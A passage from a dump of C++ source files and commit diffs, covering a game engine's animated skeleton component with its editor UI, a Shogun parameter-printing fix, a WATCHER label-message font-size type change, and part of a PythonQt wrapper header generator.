animationManager->deleteAnimationInstance(_animationInstance);
}
_skeletonAsset = nullptr;
_animationAsset = nullptr;
_skeletonFilePath.clear();
_animationFilePath.clear();
_animationInstance = nullptr;
_animIsShared = false;
#ifdef EDITOR_ENABLED
editorDelete();
#endif
}
void AnimatedSklComponent::postUnserialization()
{
if (_skeletonFilePath.empty() == false)
_loadAndSetSkeleton(_skeletonFilePath);
if (_animationFilePath.empty() == false)
_loadAndSetAnimation(_animationFilePath);
}
void AnimatedSklComponent::setAnimation(const std::string &animationPath, bool isShared /*= false*/)
{
_animIsShared = isShared;
if (animationPath.empty() == false)
{
_loadAndSetAnimation(animationPath);
}
}
void AnimatedSklComponent::setAnimation(std::shared_ptr<AnimationData> animationAssetPtr, bool isShared /*= false*/)
{
_animIsShared = isShared;
AGE_ASSERT(animationAssetPtr != nullptr);
_animationAsset = animationAssetPtr;
_setAnimation();
}
void AnimatedSklComponent::_loadAndSetSkeleton(const std::string &skeletonPath)
{
AGE_ASSERT(skeletonPath.empty() == false);
_skeletonFilePath = skeletonPath;
auto assetsManager = entity->getScene()->getInstance<AssetsManager>();
AGE_ASSERT(assetsManager != nullptr);
_skeletonAsset = assetsManager->getSkeleton(skeletonPath);
if (_skeletonAsset == nullptr)
{
assetsManager->pushNewCallback(skeletonPath, entity->getScene(),
std::function<void()>([=](){
this->_skeletonAsset = assetsManager->getSkeleton(skeletonPath);
this->_setAnimation();
}));
assetsManager->loadSkeleton(skeletonPath, skeletonPath);
}
}
void AnimatedSklComponent::_loadAndSetAnimation(const std::string &animationPath)
{
AGE_ASSERT(animationPath.empty() == false);
_animationFilePath = animationPath;
auto assetsManager = entity->getScene()->getInstance<AssetsManager>();
AGE_ASSERT(assetsManager != nullptr);
_animationAsset = assetsManager->getAnimation(animationPath);
if (_animationAsset == nullptr)
{
assetsManager->pushNewCallback(animationPath, entity->getScene(),
std::function<void()>([=](){
this->_animationAsset = assetsManager->getAnimation(animationPath);
this->_setAnimation();
}));
assetsManager->loadAnimation(animationPath, animationPath);
}
else
{
_setAnimation();
}
}
void AnimatedSklComponent::_setAnimation()
{
if (_skeletonAsset == nullptr || _animationAsset == nullptr)
{
return;
}
auto animationManager = entity->getScene()->getInstance<AnimationManager>();
AGE_ASSERT(animationManager != nullptr);
if (_animationInstance != nullptr)
{
animationManager->deleteAnimationInstance(_animationInstance);
}
_animationInstance = animationManager->createAnimationInstance(_skeletonAsset, _animationAsset, _animIsShared);
_animationInstance->_timeMultiplier = _timeMultiplier;
}
}
// EDITOR
#ifdef EDITOR_ENABLED
#include <ImGui/ImGui.h>
#include <FileUtils/FileSystemHelpers.hpp>
#include <FileUtils/AssetFiles/CookedFileFilter.hpp>
#include <FileUtils/AssetFiles/Folder.hpp>
#include <FileUtils/AssetFiles/CookedFile.hpp>
#include "../Editor/EditorConfiguration.hpp"
namespace AGE
{
std::string selectAnimation(const std::string &assetsDirectory)
{
static bool folderInitialized = false;
static FileUtils::Folder meshFolder = FileUtils::Folder();
bool hasChanged = false;
if (folderInitialized == false)
{
FileUtils::CookedFileFilter filter;
meshFolder.list(&filter, assetsDirectory);
folderInitialized = true;
}
std::list<std::string> fbxInFolder;
fbxInFolder.clear();
meshFolder.update(
std::function<bool(FileUtils::Folder*)>([&](FileUtils::Folder* folder) {
return true;
}),
std::function<bool(FileUtils::Folder*)>([](FileUtils::Folder* folder) {
return true;
}),
std::function<void(FileUtils::CookedFile*)>([&](FileUtils::CookedFile* file) {
auto extension = FileUtils::GetExtension(file->getFileName());
// Name of the file without extension and without _static or _dynamic
std::string phageName;
if (extension == "aage")
{
phageName = file->getPath();
auto find = phageName.find(assetsDirectory);
if (find != std::string::npos)
{
phageName.erase(find, find + assetsDirectory.size());
}
fbxInFolder.push_back(phageName);
}
}));
std::string res = "";
bool clicked = false;
if (ImGui::BeginPopupModal("Select Animation", NULL, ImGuiWindowFlags_AlwaysAutoResize))
{
static ImGuiTextFilter filter;
filter.Draw();
for (auto &e : fbxInFolder)
{
if (filter.PassFilter(e.c_str()))
{
if (ImGui::SmallButton(e.c_str()))
{
res = e;
clicked = true;
ImGui::CloseCurrentPopup();
}
}
}
if (ImGui::Button("Cancel", ImVec2(120, 0))) { res = "NULL"; ImGui::CloseCurrentPopup(); }
ImGui::EndPopup();
}
return res;
}
std::string selectSkeleton(const std::string &assetsDirectory)
{
static bool folderInitialized = false;
static FileUtils::Folder meshFolder = FileUtils::Folder();
bool hasChanged = false;
if (folderInitialized == false)
{
FileUtils::CookedFileFilter filter;
meshFolder.list(&filter, assetsDirectory);
folderInitialized = true;
}
std::list<std::string> fbxInFolder;
fbxInFolder.clear();
meshFolder.update(
std::function<bool(FileUtils::Folder*)>([&](FileUtils::Folder* folder) {
return true;
}),
std::function<bool(FileUtils::Folder*)>([](FileUtils::Folder* folder) {
return true;
}),
std::function<void(FileUtils::CookedFile*)>([&](FileUtils::CookedFile* file) {
auto extension = FileUtils::GetExtension(file->getFileName());
// Name of the file without extension and without _static or _dynamic
std::string phageName;
if (extension == "skage")
{
phageName = file->getPath();
auto find = phageName.find(assetsDirectory);
if (find != std::string::npos)
{
phageName.erase(find, find + assetsDirectory.size());
}
fbxInFolder.push_back(phageName);
}
}));
std::string res = "";
bool clicked = false;
if (ImGui::BeginPopupModal("Select Skeleton", NULL, ImGuiWindowFlags_AlwaysAutoResize))
{
static ImGuiTextFilter filter;
filter.Draw();
for (auto &e : fbxInFolder)
{
if (filter.PassFilter(e.c_str()))
{
if (ImGui::SmallButton(e.c_str()))
{
res = e;
clicked = true;
ImGui::CloseCurrentPopup();
}
}
}
if (ImGui::Button("Cancel", ImVec2(120, 0))) { res = "NULL"; ImGui::CloseCurrentPopup(); }
ImGui::EndPopup();
}
return res;
}
std::shared_ptr<AnimatedSklComponent::Config> AnimatedSklComponent::getSharedConfig()
{
if (_config->isShared == true)
{
for (auto it = std::begin(getSharedConfigList()); it != std::end(getSharedConfigList()); ++it)
{
if ((*it)->skeletonFilePath == _config->skeletonFilePath
&& (*it)->animationFilePath == _config->animationFilePath)
{
return *it;
}
}
}
return nullptr;
}
void AnimatedSklComponent::cleanConfigPtr()
{
Config *ptr = _config.get();
_config = nullptr;
if (ptr->isShared == true)
{
for (auto it = std::begin(getSharedConfigList()); it != std::end(getSharedConfigList()); ++it)
{
if ((*it).get() == ptr)
{
if ((*it).use_count() == 1)
{
getSharedConfigList().erase(it);
}
break;
}
}
}
}
void AnimatedSklComponent::editorCopyFrom(AnimatedSklComponent *o)
{
if (_config == nullptr)
_config = std::make_shared<Config>();
if (o->_config->isShared)
_config = o->_config;
else
{
_config->animationFilePath = o->_config->animationFilePath;
_config->skeletonFilePath = o->_config->skeletonFilePath;
_config->timeMultiplier = o->_config->timeMultiplier;
}
}
void AnimatedSklComponent::editorCreate()
{
if (!_config)
_config = std::make_shared<Config>();
}
void AnimatedSklComponent::editorDelete()
{
if (_config)
return;
}
bool AnimatedSklComponent::editorUpdate()
{
bool modified = false;
static std::string *selectedSkeleton = nullptr;
static std::string *selectedAnimation = nullptr;
if (selectedSkeleton != nullptr)
{
*selectedSkeleton = selectSkeleton(entity->getScene()->getInstance<AGE::AssetsManager>()->getAssetsDirectory());
if (*selectedSkeleton == "NULL")
{
*selectedSkeleton = "";
selectedSkeleton = nullptr;
}
else if (selectedSkeleton->empty() == false)
{
selectedSkeleton = nullptr;
}
return true;
}
if (selectedAnimation != nullptr)
{
*selectedAnimation = selectAnimation(entity->getScene()->getInstance<AGE::AssetsManager>()->getAssetsDirectory());
if (*selectedAnimation == "NULL")
{
*selectedAnimation = "";
selectedAnimation = nullptr;
}
else if (selectedAnimation->empty() == false)
{
selectedAnimation = nullptr;
}
return true;
}
/////////////////////////////////
if (_config->skeletonFilePath.empty())
{
if (ImGui::Button("Select skeleton"))
{
ImGui::OpenPopup("Select Skeleton");
selectedSkeleton= &_config->skeletonFilePath;
}
}
else
{
ImGui::Text(_config->skeletonFilePath.c_str());
ImGui::SameLine();
if (ImGui::Button("Edit skeleton"))
{
ImGui::OpenPopup("Select Skeleton");
selectedSkeleton = &_config->skeletonFilePath;
}
}
if (_config->animationFilePath.empty())
{
if (ImGui::Button("Select animation"))
{
ImGui::OpenPopup("Select Animation");
selectedAnimation = &_config->animationFilePath;
}
}
else
{
ImGui::Text(_config->animationFilePath.c_str());
ImGui::SameLine();
if (ImGui::Button("Edit animation"))
{
ImGui::OpenPopup("Select Animation");
selectedAnimation = &_config->animationFilePath;
}
}
modified |= ImGui::InputFloat("Speed", &_config->timeMultiplier);
if (ImGui::Checkbox("Is shared", &_config->isShared))
{
modified = true;
if (_config->isShared)
{
auto ptr = getSharedConfig();
if (ptr == nullptr)
{
getSharedConfigList().push_back(_config);
}
else
{
_config = ptr;
}
}
else
{
_config->isShared = true;
auto ptr = std::make_shared<Config>(*_config.get());
ptr->isShared = false;
cleanConfigPtr();
_config = ptr;
}
}
return modified;
}
}
#endif
<|endoftext|>
|
<commit_before>/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* Written (W) 2010 Soeren Sonnenburg
* Copyright (C) 2010 Berlin Institute of Technology
*/
#include "lib/Parameter.h"
using namespace shogun;
TParameter::TParameter(const TSGDataType* datatype, void* parameter,
const char* name, const char* description)
:m_datatype(*datatype)
{
m_parameter = parameter;
m_name = strdup(name);
m_description = strdup(description);
CSGObject** p = (CSGObject**) m_parameter;
if(is_sgobject()) SG_REF(*p);
}
TParameter::~TParameter(void)
{
CSGObject** p = (CSGObject**) m_parameter;
if(is_sgobject()) SG_UNREF(*p);
free(m_description); free(m_name);
}
bool
TParameter::is_sgobject(void)
{
return m_datatype.m_ptype == PT_SGOBJECT_PTR
|| m_datatype.m_ctype != CT_SCALAR;
}
char*
TParameter::new_prefix(const char* s1, const char* s2)
{
char tmp[256];
snprintf(tmp, 256, "%s%s/", s1, s2);
return strdup(tmp);
}
void
TParameter::print(CIO* io, const char* prefix)
{
SG_PRINT("\n%s\n%35s %24s :", prefix, m_description == '\0'
? "(Parameter)": m_description, m_name);
switch(m_datatype.m_ctype) {
case CT_SCALAR:
break;
case CT_VECTOR:
SG_PRINT("Vector<");
break;
case CT_STRING:
SG_PRINT("String<");
break;
}
switch(m_datatype.m_ptype) {
case PT_BOOL:
SG_PRINT("bool");
break;
case PT_CHAR:
SG_PRINT("char");
break;
case PT_INT16:
SG_PRINT("int16");
break;
case PT_INT32:
SG_PRINT("int32");
break;
case PT_INT64:
SG_PRINT("int64");
break;
case PT_FLOAT32:
SG_PRINT("float32");
break;
case PT_FLOAT64:
SG_PRINT("float64");
break;
case PT_FLOATMAX:
SG_PRINT("floatmax");
break;
case PT_SGOBJECT_PTR:
SG_PRINT("SGObject*");
if (m_datatype.m_ctype == CT_SCALAR) {
SG_PRINT("\n");
char* p = new_prefix(prefix, m_name);
(*(CSGObject**) m_parameter)->params_list(p);
free(p);
}
break;
}
switch(m_datatype.m_ctype) {
case CT_SCALAR:
break;
case CT_VECTOR:
case CT_STRING:
SG_PRINT(">*");
break;
}
SG_PRINT("\n");
}
CParameter::CParameter(CIO* io_) :m_params(io)
{
io = io_;
SG_REF(io);
}
CParameter::~CParameter(void)
{
for (int32_t i=0; i<get_num_parameters(); i++)
delete m_params.get_element(i);
SG_UNREF(io);
}
void
CParameter::add_type(const TSGDataType* type, void* param,
const char* name, const char* description)
{
m_params.append_element(
new TParameter(type, param, name, description)
);
}
void
CParameter::list(const char* prefix)
{
for (int32_t i=0; i<get_num_parameters(); i++)
m_params.get_element(i)->print(io, prefix);
}
<commit_msg>* parameter/*<commit_after>/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* Written (W) 2010 Soeren Sonnenburg
* Copyright (C) 2010 Berlin Institute of Technology
*/
#include "lib/Parameter.h"
using namespace shogun;
TParameter::TParameter(const TSGDataType* datatype, void* parameter,
const char* name, const char* description)
:m_datatype(*datatype)
{
m_parameter = parameter;
m_name = strdup(name);
m_description = strdup(description);
CSGObject** p = (CSGObject**) m_parameter;
if(is_sgobject()) SG_REF(*p);
}
TParameter::~TParameter(void)
{
CSGObject** p = (CSGObject**) m_parameter;
if(is_sgobject()) SG_UNREF(*p);
free(m_description); free(m_name);
}
bool
TParameter::is_sgobject(void)
{
return m_datatype.m_ptype == PT_SGOBJECT_PTR
|| m_datatype.m_ctype != CT_SCALAR;
}
char*
TParameter::new_prefix(const char* s1, const char* s2)
{
char tmp[256];
snprintf(tmp, 256, "%s%s/", s1, s2);
return strdup(tmp);
}
void
TParameter::print(CIO* io, const char* prefix)
{
SG_PRINT("\n%s\n%35s %24s :", prefix, *m_description == '\0'
? "(Parameter)": m_description, m_name);
switch(m_datatype.m_ctype) {
case CT_SCALAR:
break;
case CT_VECTOR:
SG_PRINT("Vector<");
break;
case CT_STRING:
SG_PRINT("String<");
break;
}
switch(m_datatype.m_ptype) {
case PT_BOOL:
SG_PRINT("bool");
break;
case PT_CHAR:
SG_PRINT("char");
break;
case PT_INT16:
SG_PRINT("int16");
break;
case PT_INT32:
SG_PRINT("int32");
break;
case PT_INT64:
SG_PRINT("int64");
break;
case PT_FLOAT32:
SG_PRINT("float32");
break;
case PT_FLOAT64:
SG_PRINT("float64");
break;
case PT_FLOATMAX:
SG_PRINT("floatmax");
break;
case PT_SGOBJECT_PTR:
SG_PRINT("SGObject*");
if (m_datatype.m_ctype == CT_SCALAR
&& *(CSGObject**) m_parameter != NULL) {
SG_PRINT("\n");
char* p = new_prefix(prefix, m_name);
(*(CSGObject**) m_parameter)->params_list(p);
free(p);
}
break;
}
switch(m_datatype.m_ctype) {
case CT_SCALAR:
break;
case CT_VECTOR:
case CT_STRING:
SG_PRINT(">*");
break;
}
SG_PRINT("\n");
}
CParameter::CParameter(CIO* io_) :m_params(io)
{
io = io_;
SG_REF(io);
}
CParameter::~CParameter(void)
{
for (int32_t i=0; i<get_num_parameters(); i++)
delete m_params.get_element(i);
SG_UNREF(io);
}
void
CParameter::add_type(const TSGDataType* type, void* param,
const char* name, const char* description)
{
m_params.append_element(
new TParameter(type, param, name, description)
);
}
void
CParameter::list(const char* prefix)
{
for (int32_t i=0; i<get_num_parameters(); i++)
m_params.get_element(i)->print(io, prefix);
}
<|endoftext|>
|
<commit_before>/* Copyright 2009 SPARTA, Inc., dba Cobham Analytic Solutions
*
* This file is part of WATCHER.
*
* WATCHER is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* WATCHER is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with Watcher. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* @file labelMessage.h
* @author Geoff Lawler <geoff.lawer@cobham.com>
* @date 2009-07-15
*/
#include "watcherSerialize.h"
#include "labelMessage.h"
#include "messageTypesAndVersions.h"
#include "colors.h"
#include "logger.h"
using namespace std;
namespace watcher {
namespace event {
INIT_LOGGER(LabelMessage, "Message.LabelMessage");
LabelMessage::LabelMessage(const string &label_, int fontSize_) :
Message(LABEL_MESSAGE_TYPE, LABEL_MESSAGE_VERSION),
label(label_),
fontSize(fontSize_),
foreground(colors::white),
background(colors::black),
expiration(0),
addLabel(true),
layer(),
lat(0),
lng(0),
alt(0)
{
TRACE_ENTER();
TRACE_EXIT();
}
LabelMessage::LabelMessage(const string &label_, const boost::asio::ip::address &address_, int fontSize_) :
Message(LABEL_MESSAGE_TYPE, LABEL_MESSAGE_VERSION),
label(label_),
fontSize(fontSize_),
foreground(colors::white),
background(colors::black),
expiration(0),
addLabel(true),
layer(),
lat(0),
lng(0),
alt(0)
{
TRACE_ENTER();
fromNodeID=address_;
TRACE_EXIT();
}
LabelMessage::LabelMessage(const std::string &label_, const float &lat_, const float &lng_, const float &alt_, const int fontSize_) :
Message(LABEL_MESSAGE_TYPE, LABEL_MESSAGE_VERSION),
label(label_),
fontSize(fontSize_),
foreground(colors::white),
background(colors::black),
expiration(0),
addLabel(true),
layer(),
lat(lat_),
lng(lng_),
alt(alt_)
{
TRACE_ENTER();
TRACE_EXIT();
}
LabelMessage::LabelMessage(const LabelMessage &other) :
Message(other),
label(other.label),
fontSize(other.fontSize),
foreground(other.foreground),
background(other.background),
expiration(other.expiration),
addLabel(other.addLabel),
layer(other.layer),
lat(other.lat),
lng(other.lng),
alt(other.alt)
{
TRACE_ENTER();
TRACE_EXIT();
}
bool LabelMessage::operator==(const LabelMessage &other) const
{
TRACE_ENTER();
bool retVal =
Message::operator==(other) &&
lat==other.lat &&
lng==other.lng &&
alt==other.alt &&
label==other.label &&
layer==other.layer;
// These are not distinguishing features
// foreground==other.foreground,
// background==other.background,
// expiration==other.expiration,
// fontSize==other.FontSize;
TRACE_EXIT_RET(retVal);
return retVal;
}
LabelMessage &LabelMessage::operator=(const LabelMessage &other)
{
TRACE_ENTER();
Message::operator=(other);
label=other.label;
fontSize=other.fontSize;
foreground=other.foreground;
background=other.background;
expiration=other.expiration;
addLabel=other.addLabel;
layer=other.layer;
lat=other.lat;
lng=other.lng;
alt=other.alt;
TRACE_EXIT();
return *this;
}
// virtual
std::ostream &LabelMessage::toStream(std::ostream &out) const
{
TRACE_ENTER();
Message::toStream(out);
out << " label: " << label;
if (lat!=0.0 && lng!=0.0)
out << " (floating) ";
else
out << " (attached) ";
out << " font size: " << fontSize;
out << " layer: " << layer;
out << " fg: (" << foreground << ")";
out << " bg: (" << background << ")";
out << " exp: " << expiration;
out << " add: " << (addLabel ? "true" : "false");
out << " lat: " << lat;
out << " lng: " << lng;
out << " alt: " << alt;
TRACE_EXIT();
return out;
}
ostream& operator<<(ostream &out, const LabelMessage &mess)
{
mess.operator<<(out);
return out;
}
template <typename Archive> void LabelMessage::serialize(Archive & ar, const unsigned int /* file_version */)
{
TRACE_ENTER();
ar & boost::serialization::base_object<Message>(*this);
ar & label;
ar & foreground;
ar & background;
ar & expiration;
ar & fontSize;
ar & addLabel;
ar & layer;
ar & lat;
ar & lng;
ar & alt;
TRACE_EXIT();
}
}
}
BOOST_CLASS_EXPORT(watcher::event::LabelMessage);
<commit_msg>font size is a float, not an int.<commit_after>/* Copyright 2009 SPARTA, Inc., dba Cobham Analytic Solutions
*
* This file is part of WATCHER.
*
* WATCHER is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* WATCHER is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with Watcher. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* @file labelMessage.h
* @author Geoff Lawler <geoff.lawer@cobham.com>
* @date 2009-07-15
*/
#include "watcherSerialize.h"
#include "labelMessage.h"
#include "messageTypesAndVersions.h"
#include "colors.h"
#include "logger.h"
using namespace std;
namespace watcher {
namespace event {
INIT_LOGGER(LabelMessage, "Message.LabelMessage");
LabelMessage::LabelMessage(const string &label_, const float fontSize_) :
Message(LABEL_MESSAGE_TYPE, LABEL_MESSAGE_VERSION),
label(label_),
fontSize(fontSize_),
foreground(colors::white),
background(colors::black),
expiration(0),
addLabel(true),
layer(),
lat(0),
lng(0),
alt(0)
{
TRACE_ENTER();
TRACE_EXIT();
}
LabelMessage::LabelMessage(const string &label_, const boost::asio::ip::address &address_, const float fontSize_) :
Message(LABEL_MESSAGE_TYPE, LABEL_MESSAGE_VERSION),
label(label_),
fontSize(fontSize_),
foreground(colors::white),
background(colors::black),
expiration(0),
addLabel(true),
layer(),
lat(0),
lng(0),
alt(0)
{
TRACE_ENTER();
fromNodeID=address_;
TRACE_EXIT();
}
LabelMessage::LabelMessage(const std::string &label_, const float &lat_, const float &lng_, const float &alt_, const float fontSize_) :
Message(LABEL_MESSAGE_TYPE, LABEL_MESSAGE_VERSION),
label(label_),
fontSize(fontSize_),
foreground(colors::white),
background(colors::black),
expiration(0),
addLabel(true),
layer(),
lat(lat_),
lng(lng_),
alt(alt_)
{
TRACE_ENTER();
TRACE_EXIT();
}
LabelMessage::LabelMessage(const LabelMessage &other) :
Message(other),
label(other.label),
fontSize(other.fontSize),
foreground(other.foreground),
background(other.background),
expiration(other.expiration),
addLabel(other.addLabel),
layer(other.layer),
lat(other.lat),
lng(other.lng),
alt(other.alt)
{
TRACE_ENTER();
TRACE_EXIT();
}
bool LabelMessage::operator==(const LabelMessage &other) const
{
TRACE_ENTER();
bool retVal =
Message::operator==(other) &&
lat==other.lat &&
lng==other.lng &&
alt==other.alt &&
label==other.label &&
layer==other.layer;
// These are not distinguishing features
// foreground==other.foreground,
// background==other.background,
// expiration==other.expiration,
// fontSize==other.FontSize;
TRACE_EXIT_RET(retVal);
return retVal;
}
LabelMessage &LabelMessage::operator=(const LabelMessage &other)
{
TRACE_ENTER();
Message::operator=(other);
label=other.label;
fontSize=other.fontSize;
foreground=other.foreground;
background=other.background;
expiration=other.expiration;
addLabel=other.addLabel;
layer=other.layer;
lat=other.lat;
lng=other.lng;
alt=other.alt;
TRACE_EXIT();
return *this;
}
// virtual
std::ostream &LabelMessage::toStream(std::ostream &out) const
{
TRACE_ENTER();
Message::toStream(out);
out << " label: " << label;
if (lat!=0.0 && lng!=0.0)
out << " (floating) ";
else
out << " (attached) ";
out << " font size: " << fontSize;
out << " layer: " << layer;
out << " fg: (" << foreground << ")";
out << " bg: (" << background << ")";
out << " exp: " << expiration;
out << " add: " << (addLabel ? "true" : "false");
out << " lat: " << lat;
out << " lng: " << lng;
out << " alt: " << alt;
TRACE_EXIT();
return out;
}
ostream& operator<<(ostream &out, const LabelMessage &mess)
{
mess.operator<<(out);
return out;
}
template <typename Archive> void LabelMessage::serialize(Archive & ar, const unsigned int /* file_version */)
{
TRACE_ENTER();
ar & boost::serialization::base_object<Message>(*this);
ar & label;
ar & foreground;
ar & background;
ar & expiration;
ar & fontSize;
ar & addLabel;
ar & layer;
ar & lat;
ar & lng;
ar & alt;
TRACE_EXIT();
}
}
}
BOOST_CLASS_EXPORT(watcher::event::LabelMessage);
<|endoftext|>
|
<commit_before>/****************************************************************************
**
** Copyright (C) 2008-2009 Nokia Corporation and/or its subsidiary(-ies).
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
** This file is part of the Qt Script Generator project on Qt Labs.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
** This file contains pre-release code and may not be distributed.
** You may use this file in accordance with the terms and conditions
** contained in the Technology Preview License Agreement accompanying
** this package.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** If you have questions regarding the use of this file, please contact
** Nokia at qt-info@nokia.com.
**
**
**
**
**
**
**
**
** $QT_END_LICENSE$
**
****************************************************************************/
#include "shellheadergenerator.h"
#include "fileout.h"
#include <QtCore/QDir>
#include <qdebug.h>
QString ShellHeaderGenerator::fileNameForClass(const AbstractMetaClass *meta_class) const
{
return QString("PythonQtWrapper_%1.h").arg(meta_class->name());
}
void ShellHeaderGenerator::writeFieldAccessors(QTextStream &s, const AbstractMetaField *field)
{
const AbstractMetaFunction *setter = field->setter();
const AbstractMetaFunction *getter = field->getter();
// static fields are not supported (yet?)
if (setter->isStatic()) return;
// Uuid data4 did not work (TODO: move to typesystem...(
if (field->enclosingClass()->name()=="QUuid" && setter->name()=="data4") return;
if (field->enclosingClass()->name()=="QIPv6Address") return;
bool isInventorField = field->type()->name().startsWith("So");
if (!isInventorField && !field->type()->isConstant()) {
writeFunctionSignature(s, setter, 0, QString(),
Option(ConvertReferenceToPtr | FirstArgIsWrappedObject| IncludeDefaultExpression | ShowStatic | UnderscoreSpaces));
s << "{ theWrappedObject->" << field->name() << " = " << setter->arguments()[0]->argumentName() << "; }\n";
}
bool addIndirection = false;
if (isInventorField && getter->type()->indirections() == 0) {
// make it a field ptr:
getter->type()->setIndirections(1);
addIndirection = true;
}
writeFunctionSignature(s, getter, 0, QString(),
Option(ConvertReferenceToPtr | FirstArgIsWrappedObject| IncludeDefaultExpression | OriginalName | ShowStatic | UnderscoreSpaces));
s << "{ return ";
if (addIndirection) {
s << "&";
}
s << "theWrappedObject->" << field->name() << "; }\n";
}
static bool enum_lessThan(const AbstractMetaEnum *a, const AbstractMetaEnum *b)
{
return a->name() < b->name();
}
static bool field_lessThan(const AbstractMetaField *a, const AbstractMetaField *b)
{
return a->name() < b->name();
}
void ShellHeaderGenerator::write(QTextStream &s, const AbstractMetaClass *meta_class)
{
QString builtIn = ShellGenerator::isBuiltIn(meta_class->name())?"_builtin":"";
QString pro_file_name = meta_class->package().replace(".", "_") + builtIn + "/" + meta_class->package().replace(".", "_") + builtIn + ".pri";
priGenerator->addHeader(pro_file_name, fileNameForClass(meta_class));
setupGenerator->addClass(meta_class->package().replace(".", "_") + builtIn, meta_class);
QString include_block = "PYTHONQTWRAPPER_" + meta_class->name().toUpper() + "_H";
s << "#ifndef " << include_block << endl
<< "#define " << include_block << endl << endl;
Include inc = meta_class->typeEntry()->include();
ShellGenerator::writeInclude(s, inc);
s << "#include <QObject>" << endl << endl;
s << "#include <PythonQt.h>" << endl << endl;
IncludeList list = meta_class->typeEntry()->extraIncludes();
qSort(list.begin(), list.end());
foreach (const Include &inc, list) {
ShellGenerator::writeInclude(s, inc);
}
s << endl;
AbstractMetaFunctionList ctors = meta_class->queryFunctions(AbstractMetaClass::Constructors
| AbstractMetaClass::WasVisible
| AbstractMetaClass::NotRemovedFromTargetLang);
if (meta_class->qualifiedCppName().contains("Ssl")) {
s << "#ifndef QT_NO_OPENSSL" << endl;
}
// Shell-------------------------------------------------------------------
if (meta_class->generateShellClass() && !ctors.isEmpty()) {
AbstractMetaFunctionList virtualsForShell = getVirtualFunctionsForShell(meta_class);
s << "class " << shellClassName(meta_class)
<< " : public " << meta_class->qualifiedCppName() << endl << "{" << endl;
s << "public:" << endl;
foreach(AbstractMetaFunction* fun, ctors) {
s << " ";
writeFunctionSignature(s, fun, 0,"PythonQtShell_",
Option(IncludeDefaultExpression | OriginalName | ShowStatic | UnderscoreSpaces));
s << ":" << meta_class->qualifiedCppName() << "(";
QString scriptFunctionName = fun->originalName();
AbstractMetaArgumentList args = fun->arguments();
for (int i = 0; i < args.size(); ++i) {
if (i > 0)
s << ", ";
s << args.at(i)->argumentName();
}
s << "),_wrapper(NULL) { ";
writeInjectedCode(s, meta_class, TypeSystem::PyInheritShellConstructorCode, true);
s << " };" << endl;
}
s << endl;
s << " ~" << shellClassName(meta_class) << "();" << endl;
s << endl;
foreach(AbstractMetaFunction* fun, virtualsForShell) {
s << "virtual ";
writeFunctionSignature(s, fun, 0, QString(),
Option(IncludeDefaultExpression | OriginalName | ShowStatic | UnderscoreSpaces));
s << ";" << endl;
}
s << endl;
writeInjectedCode(s, meta_class, TypeSystem::PyShellDeclaration);
writeInjectedCode(s, meta_class, TypeSystem::PyInheritShellDeclaration, true);
s << " PythonQtInstanceWrapper* _wrapper; " << endl;
s << "};" << endl << endl;
}
// Promoter-------------------------------------------------------------------
AbstractMetaFunctionList promoteFunctions;
if (meta_class->typeEntry()->shouldCreatePromoter()) {
promoteFunctions = getProtectedFunctionsThatNeedPromotion(meta_class);
}
if (!promoteFunctions.isEmpty()) {
s << "class " << promoterClassName(meta_class)
<< " : public " << meta_class->qualifiedCppName() << endl << "{ public:" << endl;
AbstractMetaEnumList enums1 = meta_class->enums();
qSort(enums1.begin(), enums1.end(), enum_lessThan);
foreach(AbstractMetaEnum* enum1, enums1) {
if (enum1->wasProtected()) {
s << "enum " << enum1->name() << "{" << endl;
bool first = true;
QString scope = meta_class->qualifiedCppName();
foreach(AbstractMetaEnumValue* value, enum1->values()) {
if (first) { first = false; }
else { s << ", "; }
s << " " << value->name() << " = " << scope << "::" << value->name();
}
s << "};" << endl;
}
}
foreach(AbstractMetaFunction* fun, promoteFunctions) {
if (fun->isStatic()) {
s << "static ";
}
s << "inline ";
writeFunctionSignature(s, fun, 0, "promoted_",
Option(IncludeDefaultExpression | OriginalName | UnderscoreSpaces | ProtectedEnumAsInts));
s << " { ";
QString scriptFunctionName = fun->originalName();
AbstractMetaArgumentList args = fun->arguments();
if (fun->type()) {
s << "return ";
}
if (!fun->isAbstract()) {
s << meta_class->qualifiedCppName() << "::";
}
s << fun->originalName() << "(";
for (int i = 0; i < args.size(); ++i) {
if (i > 0) {
s << ", ";
}
if (args.at(i)->type()->isEnum()) {
AbstractMetaEnum* enumType = m_classes.findEnum((EnumTypeEntry *)args.at(i)->type()->typeEntry());
if (enumType && enumType->wasProtected()) {
s << "(" << enumType->typeEntry()->qualifiedCppName() << ")";
}
}
s << args.at(i)->argumentName();
}
s << "); }" << endl;
}
s << "};" << endl << endl;
}
// Wrapper-------------------------------------------------------------------
s << "class " << wrapperClassName(meta_class)
<< " : public QObject" << endl
<< "{ Q_OBJECT" << endl;
s << "public:" << endl;
